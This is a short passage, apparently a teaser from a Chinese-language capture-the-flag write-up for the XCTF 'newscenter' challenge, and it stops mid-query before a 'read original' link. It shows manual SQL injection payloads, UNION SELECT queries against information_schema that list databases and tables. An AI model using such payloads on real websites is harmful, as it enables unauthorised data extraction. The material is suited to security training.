[wp]xctf newscenter

手工注入 查詢所有數據庫名稱和表名 ’ union select 1,table_schema,table_name from information_schema.tables# 發現就兩個數據庫information_schema與news 查詢news數據庫中的表的名稱 ’ union select 1,table_schema,table_name from information_sch

>>阅读原文<<